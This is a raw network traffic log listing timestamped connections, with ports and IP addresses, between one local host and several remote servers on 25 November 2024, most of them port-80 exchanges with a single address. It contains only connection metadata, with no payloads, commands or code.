Nov 25, 2024 16:21:35.143367052 CET	49788	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.143372059 CET	443	49788	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.143686056 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:35.143688917 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.204372883 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.204427004 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.204530001 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:35.204709053 CET	49789	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:35.204726934 CET	443	49789	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:35.215677977 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.215866089 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.215873957 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.216233969 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.216245890 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.216281891 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.216285944 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.216309071 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.216329098 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.217216015 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.220808029 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.220870018 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.221167088 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.221172094 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.239892006 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.239968061 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.240161896 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.240438938 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.240451097 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.240462065 CET	49779	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.240468025 CET	443	49779	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.240830898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.243092060 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.243127108 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.243201971 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.243604898 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:35.243618011 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:35.361624956 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.366990089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.487478018 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.487550974 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.501858950 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.501878023 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.502127886 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.502635956 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.502738953 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.502767086 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.527915955 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.527959108 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.528024912 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.528434038 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.528485060 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.528563976 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.528625011 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.528639078 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.528729916 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:35.528750896 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:35.530013084 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:35.530205011 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:35.530229092 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:35.531238079 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:35.531301022 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:35.532320023 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:35.532378912 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:35.538830996 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.539278030 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.539295912 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.539944887 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.539949894 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.539984941 CET	49791	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:35.539995909 CET	443	49791	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:35.663496017 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:35.663506985 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:35.696199894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696232080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696242094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696271896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696281910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696297884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696326971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696396112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696454048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696464062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696475029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696502924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696511984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.696521997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.696547985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.704905987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.705013037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.706607103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.706670046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.706690073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.706732988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.715075016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.715131998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.818080902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.818145990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.818183899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.818418980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.868186951 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:35.888199091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.888257980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.888298035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.888339996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.892487049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.892560005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.892841101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.892930984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.900868893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.900962114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.903844118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.903924942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.903978109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.904067039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.912266970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.912328005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.912375927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.912421942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.920618057 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.920684099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.920778036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.920788050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.920819998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.924746037 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.924798965 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.924814939 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.929095984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.929172039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.929203987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.929250002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.936290979 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.936386108 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.936398983 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.937578917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.937642097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.937675953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.937720060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.945893049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.945945978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.946007013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.946052074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.946113110 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.946156025 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.946162939 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.954547882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.954593897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.954598904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.954632044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.958697081 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.958754063 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.958765030 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.962735891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.962799072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.962865114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:35.962914944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:35.970706940 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:35.970776081 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:35.970788002 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.022553921 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.022794008 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.022809029 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.023130894 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.023475885 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.023552895 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.023633003 CET	49804	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.056871891 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.056893110 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.069108963 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.069422007 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.069447994 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.069766045 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.070177078 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.070245028 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.070471048 CET	49805	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.071322918 CET	443	49804	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.080648899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.080705881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.083559036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.083574057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.083619118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.091187954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.091234922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.091275930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.091322899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.094182014 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.094428062 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.094443083 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.094930887 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.095362902 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.095451117 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.095515013 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.115329981 CET	443	49805	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.127348900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.127361059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.127419949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.127444983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.128254890 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.128310919 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.128325939 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.131141901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.131212950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.131392956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.131434917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.132893085 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.133579969 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.133590937 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.139337063 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.139518976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.139625072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.139671087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.139710903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.148056984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.148070097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.148097992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.148123980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.148792982 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.148835897 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.148870945 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.148885012 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.148922920 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.157562971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.157638073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.157663107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.157705069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.157727003 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.165491104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.165543079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.165571928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.165623903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.165637970 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.165667057 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.165801048 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.165807962 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.165896893 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.172955036 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.173136950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.173219919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.173247099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.173290014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.181066990 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.181126118 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.181137085 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.181508064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.181576014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.181601048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.181649923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.189191103 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.189626932 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.189636946 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.190028906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.190150976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.190211058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.198376894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.198438883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.198509932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.198554039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.200335979 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.200396061 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.200408936 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.206857920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.206922054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.206979990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.207072020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.215188980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.215291023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.215358973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.223612070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.223674059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.223737001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.223776102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.231127024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.231193066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.231256962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.231297016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.238619089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.238678932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.238696098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.238742113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.239634037 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.239731073 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.239746094 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.243769884 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.243827105 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.243845940 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.246160984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.246220112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.246283054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.246421099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.251753092 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.251813889 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.251833916 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.253880978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.253931999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.253937960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.254015923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.261132956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.261145115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.261209011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.268781900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.268795013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.268800974 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.268829107 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.268878937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.268956900 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.268973112 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.269013882 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.272321939 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:36.272618055 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:36.272686005 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:36.273196936 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:36.273196936 CET	49790	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:36.273212910 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:36.273221970 CET	443	49790	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:36.274115086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.274137020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.274180889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.274250031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.275878906 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.280086994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.280164957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.280165911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.280204058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.281599998 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.281652927 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.281666994 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.286063910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.286144018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.286163092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.286212921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.289146900 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.289223909 CET	49781	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:36.289232016 CET	443	49781	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:36.292030096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.292093039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.292109013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.292129040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.297976971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.298031092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.298181057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.298233986 CET	49765	80	192.168.2.5	185.215.113.206
